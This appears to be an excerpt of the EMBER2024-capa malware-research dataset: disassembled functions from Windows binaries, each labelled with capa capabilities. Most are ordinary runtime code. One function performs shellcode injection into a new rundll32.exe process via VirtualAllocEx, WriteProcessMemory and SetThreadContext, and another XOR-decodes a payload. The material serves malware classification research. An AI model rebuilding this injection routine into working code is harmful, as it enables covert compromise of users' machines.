joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400072d0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [rsp + 0x50]
cmp qword [rax + 0x68], 0
je 0x140007309
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140007453
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x40]
cmp qword [rax], 0
je 0x140007333
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x58]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
jmp 0x14000733b
mov dword [rsp + 0x20], 0
movsxd rax, dword [rsp + 0x20]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x60], 0
jle 0x1400073fb
cmp qword [rsp + 0x28], 0
jle 0x1400073fb
mov rax, qword [rsp + 0x28]
cmp qword [rsp + 0x60], rax
jge 0x140007373
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x40]
mov rax, qword [rax]
mov qword [rsp + 0x30], rax
mov r8, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x30]
call fcn.1400014b0
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x58]
mov ecx, dword [rsp + 0x28]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x58]
mov dword [rcx], eax
movsxd rax, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x40]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x40]
mov qword [rcx], rax
cmp qword [rsp + 0x60], 0
jle 0x140007443
mov rax, qword [rsp + 0x50]
cmp qword [rax + 0x80], 0
je 0x140007443
mov rax, qword [rsp + 0x50]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x60]
mov edx, 1
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
add rsp, 0x48
ret
Function at 0x140008810
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xb8
mov rax, qword [0x140010008]
xor rax, rsp
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xc0]
cmp qword [rax + 0x68], 0
je 0x14000884d
mov rax, qword [rsp + 0xc0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140008854
mov al, 1
jmp 0x1400089d5
mov rax, qword [rsp + 0xc0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x38], 0xffffffff
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0xc0]
call qword [rsp + 0x60]
mov dword [rsp + 0x44], eax
mov dword [rsp + 0x48], 0xffffffff
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x48], eax
jne 0x1400088a8
mov dword [rsp + 0x3c], 1
jmp 0x1400088b0
mov dword [rsp + 0x3c], 0
movzx eax, byte [rsp + 0x3c]
mov byte [rsp + 0x30], al
movzx eax, byte [rsp + 0x30]
test eax, eax
je 0x1400088c9
xor al, al
jmp 0x1400089d5
mov qword [rsp + 0x70], 0x20
mov rax, qword [rsp + 0xc0]
mov rax, qword [rax + 0x68]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0xa0]
mov rcx, qword [rsp + 0xc0]
add rcx, 0x74
lea rdx, [rsp + 0x78]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rsp + 0x80]
mov rdx, rcx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0
je 0x14000893c
cmp dword [rsp + 0x34], 1
je 0x140008948
cmp dword [rsp + 0x34], 3
je 0x1400089c3
jmp 0x1400089d3
mov rax, qword [rsp + 0xc0]
mov byte [rax + 0x71], 0
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jbe 0x14000899a
mov rax, qword [rsp + 0xc0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
lea rcx, [rsp + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp qword [rsp + 0x50], rax
je 0x14000899a
xor al, al
jmp 0x1400089d5
mov rax, qword [rsp + 0xc0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x1400089b4
mov dword [rsp + 0x40], 1
jmp 0x1400089bc
mov dword [rsp + 0x40], 0
movzx eax, byte [rsp + 0x40]
jmp 0x1400089d5
mov rax, qword [rsp + 0xc0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x1400089d5
xor al, al
mov rcx, qword [rsp + 0xa8]
xor rcx, rsp
call fcn.14000a490
add rsp, 0xb8
ret
Function at 0x14000a1e0
Capabilities:
Encode data using xor
Terminate process

Disassembly:
sub rsp, 0xa8
lea rdx, [rsp + 0x40]
call fcn.14000a400
mov r9, rax
cmp byte [rax + 0x29], 0
je 0x14000a3cd
xor ecx, ecx
cmp dword [0x140010020], 2
jl 0x14000a38c
movdqa xmm0, xmmword [0x14000cb20]
mov eax, 4
movdqa xmm5, xmmword [0x14000cac0]
mov rdx, r9
movdqa xmm4, xmmword [0x14000cb30]
movaps xmmword [rsp + 0x90], xmm6
movaps xmmword [rsp + 0x80], xmm7
movdqa xmm7, xmmword [0x14000cae0]
movd xmm6, eax
mov eax, 0x1f
movaps xmmword [rsp + 0x70], xmm8
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movd xmm8, eax
nop dword [rax]
nop dword [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x14000cb00]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14000cb00]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
pxor xmm2, xmm0
movd dword [rdx - 4], xmm2
cmp ecx, 0x28
jl 0x14000a270
movaps xmm8, xmmword [rsp + 0x70]
movaps xmm7, xmmword [rsp + 0x80]
movaps xmm6, xmmword [rsp + 0x90]
cmp ecx, 0x2a
jge 0x14000a3cd
movsxd r8, ecx
add r8, r9
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
inc ecx
sub al, dl
add al, 0x38
xor byte [r8 - 1], al
cmp ecx, 0x2a
jl 0x14000a3a0
mov rdx, r9
lea rcx, [rsp + 0x20]
call fcn.140001270
mov rcx, rax
call fcn.1400021a0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x14000ae20
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000ae6a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000ae6a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000ae6a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000ae6a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000ae6a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000ae6c
xor al, al
add rsp, 0x28
ret
Function at 0x1400055d0
Capabilities:
Parse pe header

Disassembly:
test rcx, rcx
je 0x140005600
mov eax, 0
cmp word [rcx], 0x5a4d
jne 0x1400055ff
mov eax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140005605
cdqe
add rax, rcx
cmp dword [rax], 0x4550
mov edx, 0
cmovne rax, rdx
ret
mov rax, rcx
jmp 0x1400055ff
mov eax, 0
jmp 0x1400055ff

Function at 0x140005c80
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140005c30
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x14000f2a0
Capabilities:
Execute shellcode via indirect call

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140017de0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call fcn.1400183c8
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140017de0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call fcn.140018380
nop
nop dword [rax]
Function at 0x14000f310
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140a97374]
test esi, esi
mov rdi, rcx
mov rbp, rdx
mov rbx, r8
jle 0x14000f4a0
mov rax, qword [0x140a97378]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rdi, rdx
jb 0x14000f35c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rdi, rdx
jb 0x14000f3e5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x14000f340
mov rcx, rdi
call fcn.14000fe70
test rax, rax
mov r12, rax
je 0x14000f4f2
mov rax, qword [0x140a97378]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.14000ffb0
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x140a97378]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000f4d5
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000f3de
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000f450
add dword [0x140a97374], 1
cmp ebx, 8
jae 0x14000f411
test bl, 4
jne 0x14000f4b0
test ebx, ebx
je 0x14000f406
movzx eax, byte [rbp]
test bl, 2
mov byte [rdi], al
jne 0x14000f4c4
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, ebx
sub ebx, 1
mov rdx, qword [rbp + rax - 8]
cmp ebx, 8
mov qword [rdi + rax - 8], rdx
jb 0x14000f406
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, ebx
mov qword [rdi + rdx], rcx
jb 0x14000f42a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov r8d, 4
mov eax, 0x40
mov rcx, qword [rsp + 0x20]
cmovne r8d, eax
mov rdx, qword [rsp + 0x38]
add rsi, qword [0x140a97378]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000f3de
call qword [0x140a982b4]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000f2a0
xor esi, esi
jmp 0x14000f367
mov eax, dword [rbp]
mov ebx, ebx
mov dword [rdi], eax
mov eax, dword [rbp + rbx - 4]
mov dword [rdi + rbx - 4], eax
jmp 0x14000f406
mov ebx, ebx
movzx eax, word [rbp + rbx - 2]
mov word [rdi + rbx - 2], ax
jmp 0x14000f406
mov rax, qword [0x140a97378]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.14000f2a0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rdi
call fcn.14000f2a0
nop
nop dword [rax]
nop word cs:[rax + rax]
Function at 0x14000fe70
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140a92310]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x14000fedf
mov rcx, r9
call fcn.14000fd40
test eax, eax
je 0x14000fedf
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
lea rdx, [r9 + rax + 0x18]
movzx eax, word [r9 + 6]
test eax, eax
je 0x14000fedd
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x14000fed4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x14000fedf
add rdx, 0x28
cmp rdx, r9
jne 0x14000fec0
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret

Function at 0x140010ba0
Capabilities:
Allocate thread local storage

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, qword [rcx + 8]
mov rdi, qword [rcx]
cmp rsi, 8
mov rbx, rcx
ja 0x140010bf0
lea rcx, [rdi + 8]
call sub.msvcrt.dll_malloc
test rax, rax
je 0x140010c32
mov rdx, qword [rbx + 0x18]
mov qword [rax], rax
lea r9, [rax + 8]
mov r8, rdi
test rdx, rdx
je 0x140010c1a
mov rcx, r9
call fcn.1400183e0
mov r9, rax
mov rax, r9
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
lea rcx, [rsi + rdi + 7]
call sub.msvcrt.dll_malloc
test rax, rax
je 0x140010c32
lea r9, [rax + rsi + 7]
neg rsi
mov r8, rdi
and r9, rsi
mov qword [r9 - 8], rax
mov rdx, qword [rbx + 0x18]
test rdx, rdx
jne 0x140010bd8
mov rcx, r9
xor edx, edx
call fcn.1400183e8
mov r9, rax
mov rax, r9
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.140018380
nop
nop dword [rax + rax]
Function at 0x14001a1a0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x140a8ea20]
jmp 0x140010ca0

Function at 0x14001a1b0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x140a8ea20]
jmp 0x140010ca0
Function at 0x180002130
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x1800723f8
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rax, qword [0x18009c008]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rsi, qword [rsp + 0xa0]
lea r10, [0x18009ea48]
xor r11d, r11d
lea rdi, [0x180085484]
test r9, r9
mov rax, rdx
mov r12, rdx
cmovne r10, r9
test rdx, rdx
lea ebp, [r11 + 1]
cmovne rdi, rdx
mov r15d, ebp
cmovne r15, r8
neg rax
sbb r14, r14
and r14, rcx
test r15, r15
jne 0x180072468
mov rax, 0xfffffffffffffffe
jmp 0x1800725b5
cmp word [r10 + 6], r11w
jne 0x1800724d7
movzx r9d, byte [rdi]
inc rdi
test r9b, r9b
js 0x180072492
test r14, r14
je 0x180072483
mov dword [r14], r9d
test r9b, r9b
setne r11b
mov rax, r11
jmp 0x1800725b5
mov al, r9b
and al, 0xe0
cmp al, 0xc0
jne 0x1800724a0
mov r8b, 2
jmp 0x1800724be
mov al, r9b
and al, 0xf0
cmp al, 0xe0
jne 0x1800724ae
mov r8b, 3
jmp 0x1800724be
mov al, r9b
and al, 0xf8
cmp al, 0xf0
jne 0x1800725aa
mov r8b, 4
movzx eax, r8b
mov ecx, 7
sub ecx, eax
mov edx, ebp
shl edx, cl
mov bl, r8b
sub edx, ebp
and edx, r9d
jmp 0x180072500
mov r8b, byte [r10 + 4]
mov edx, dword [r10]
mov bl, byte [r10 + 6]
lea eax, [r8 - 2]
cmp al, 2
ja 0x1800725aa
cmp bl, bpl
jb 0x1800725aa
cmp bl, r8b
jae 0x1800725aa
movzx ebp, bl
cmp rbp, r15
mov r9d, ebp
cmovae r9, r15
jmp 0x18007252d
movzx ecx, byte [rdi]
inc rdi
mov al, cl
and al, 0xc0
cmp al, 0x80
jne 0x1800725aa
mov eax, edx
and ecx, 0x3f
shl eax, 6
mov edx, ecx
or edx, eax
mov rax, rdi
sub rax, r12
cmp rax, r9
jb 0x18007250f
cmp r9, rbp
jae 0x180072559
movzx eax, r8b
sub bl, r9b
mov word [r10 + 4], ax
movzx eax, bl
mov word [r10 + 6], ax
mov dword [r10], edx
jmp 0x18007245c
lea eax, [rdx - 0xd800]
cmp eax, 0x7ff
jbe 0x1800725aa
cmp edx, 0x110000
jae 0x1800725aa
movzx eax, r8b
mov dword [rsp + 0x20], 0x80
mov dword [rsp + 0x24], 0x800
mov dword [rsp + 0x28], 0x10000
cmp edx, dword [rsp + rax*4 + 0x18]
jb 0x1800725aa
test r14, r14
je 0x180072598
mov dword [r14], edx
neg edx
mov rdx, r10
sbb rcx, rcx
and rcx, rbp
call fcn.180003904
jmp 0x1800725b5
mov rdx, rsi
mov rcx, r10
call fcn.180003f4e
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.18000257c
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x18000217b
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
jmp 0x18000a820
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x180000000], ax
jne 0x18000a8ad
movsxd rcx, dword [0x18000003c]
lea rdx, [0x180000000]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x18000a8ad
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x18000a8ad
sub r8, rdx
movzx edx, word [rcx + 0x14]
add rdx, 0x18
add rdx, rcx
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x18000a894
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x18000a88e
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x18000a896
add rdx, 0x28
jmp 0x18000a873
xor edx, edx
test rdx, rdx
jne 0x18000a89f
xor al, al
jmp 0x18000a8b3
cmp dword [rdx + 0x24], 0
jge 0x18000a8a9
xor al, al
jmp 0x18000a8b3
mov al, 1
jmp 0x18000a8b3
xor al, al
jmp 0x18000a8b3
add rsp, 0x18
ret
Function at 0x1800025e5
Capabilities:
Terminate process

Disassembly:
jmp 0x180007160
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0xde0
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x274
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xe08]
mov rax, qword [0x18009c008]
xor rax, rbp
mov qword [rbp + 0xd88], rax
lea rcx, [0x1800a8085]
call fcn.180003c51
mov eax, dword [rbp + 0xdb8]
mov dword [rbp + 0xd84], eax
cmp dword [rbp + 0xd84], 1
je 0x1800071cd
jmp 0x18000738d
lea rax, [rbp + 0x10]
lea rcx, [0x180081dc0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x37e
rep movsb byte [rdi], byte [rsi]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x37e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x3a8], rax
mov r8d, 0x37e
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x3a8]
call fcn.180002581
lea rax, [rbp + 0x4b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x4d0
rep stosb byte [rdi], al
mov qword [rbp + 0x998], 0
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x400]
call fcn.1800030df
mov dword [rbp + 0x400], 0x44
lea rax, [rbp + 0x3c8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x400]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x44
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.rundll32.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rbp + 0x9b4], eax
cmp dword [rbp + 0x9b4], 0
je 0x18000737c
mov dword [rbp + 0x4e0], 0x10003
lea rdx, [rbp + 0x4b0]
mov rcx, qword [rbp + 0x3d0]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x37e
xor edx, edx
mov rcx, qword [rbp + 0x3c8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x488], rax
lea rax, [rbp + 0x998]
mov qword [rsp + 0x20], rax
mov r9d, 0x37e
mov r8, qword [rbp + 0x3a8]
mov rdx, qword [rbp + 0x488]
mov rcx, qword [rbp + 0x3c8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [rbp + 0x488]
mov qword [rbp + 0x5a8], rax
lea rdx, [rbp + 0x4b0]
mov rcx, qword [rbp + 0x3d0]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rbp + 0x3d0]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rbp + 0x3d0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x3c8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x9b4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 1
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x180081d60]
call fcn.180003468
mov eax, edi
mov rcx, qword [rbp + 0xd88]
xor rcx, rbp
call fcn.18000257c
lea rsp, [rbp + 0xd90]
pop rdi
pop rsi
pop rbp
ret

Function at 0x1800026bc
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x1800191ac
push rbx
sub rsp, 0x20
mov ebx, ecx
lea r9, [0x180086448]
mov ecx, 2
lea r8, [0x180086440]
lea rdx, str.FlsGetValue
call fcn.180018c7c
mov ecx, ebx
test rax, rax
je 0x1800191e6
add rsp, 0x20
pop rbx
jmp qword [0x1800a9020]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x1800027f7
Capabilities:
Query environment variable

Disassembly:
jmp 0x18005de78
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18005dea8
xor eax, eax
jmp 0x18005df6b
mov rbp, rbx
cmp word [rax], si
je 0x18005decd
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18005deb4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18005deb0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18000312f
movsxd r14, eax
test eax, eax
jne 0x18005df0b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18005dea1
mov rcx, r14
call fcn.180001037
mov rdi, rax
test rax, rax
jne 0x18005df24
xor ecx, ecx
call fcn.18000116d
jmp 0x18005df00
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18000312f
test eax, eax
jne 0x18005df55
mov rcx, rdi
call fcn.18000116d
jmp 0x18005df5f
xor ecx, ecx
call fcn.18000116d
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x180002806
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x1800190fc
push rbx
sub rsp, 0x20
mov rbx, rcx
lea r9, [0x180086408]
xor ecx, ecx
lea r8, [0x180086400]
lea rdx, str.FlsAlloc
call fcn.180018c7c
test rax, rax
je 0x180019135
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp qword [0x1800a9020]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsAlloc]

Function at 0x18000287e
Capabilities:
Get geographical location

Disassembly:
jmp 0x180060300
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov ebx, r9d
mov rdi, r8
mov esi, edx
lea r9, [0x1800882a8]
mov rbp, rcx
lea r8, [0x1800882a0]
lea rdx, str.GetLocaleInfoEx
mov ecx, 8
call fcn.18005f820
test rax, rax
je 0x180060360
movabs r10, 0xe375262d7cd44270
mov r9d, ebx
mov r8, rdi
mov edx, esi
mov rcx, rbp
call qword [0x1800a9030]
jmp 0x18006037a
xor edx, edx
mov rcx, rbp
call fcn.1800021cb
mov ecx, eax
mov r9d, ebx
mov r8, rdi
mov edx, esi
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x180002892
Capabilities:
Terminate process

Disassembly:
jmp 0x180009e3c
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
Function at 0x1800029be
Capabilities:
Parse pe header

Disassembly:
jmp 0x18004b720
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x18004b47c
Function at 0x18000328d
Capabilities:
Terminate process

Disassembly:
jmp 0x180051640
sub rsp, 0x28
